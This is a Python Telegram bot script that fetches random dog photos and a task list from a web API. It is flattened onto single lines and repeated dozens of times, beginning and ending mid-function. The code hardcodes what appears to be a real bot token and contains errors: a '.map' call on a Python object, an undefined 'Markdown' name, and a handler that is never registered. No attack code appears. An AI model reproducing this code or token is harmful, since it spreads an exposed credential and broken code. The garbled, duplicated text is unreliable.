requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = 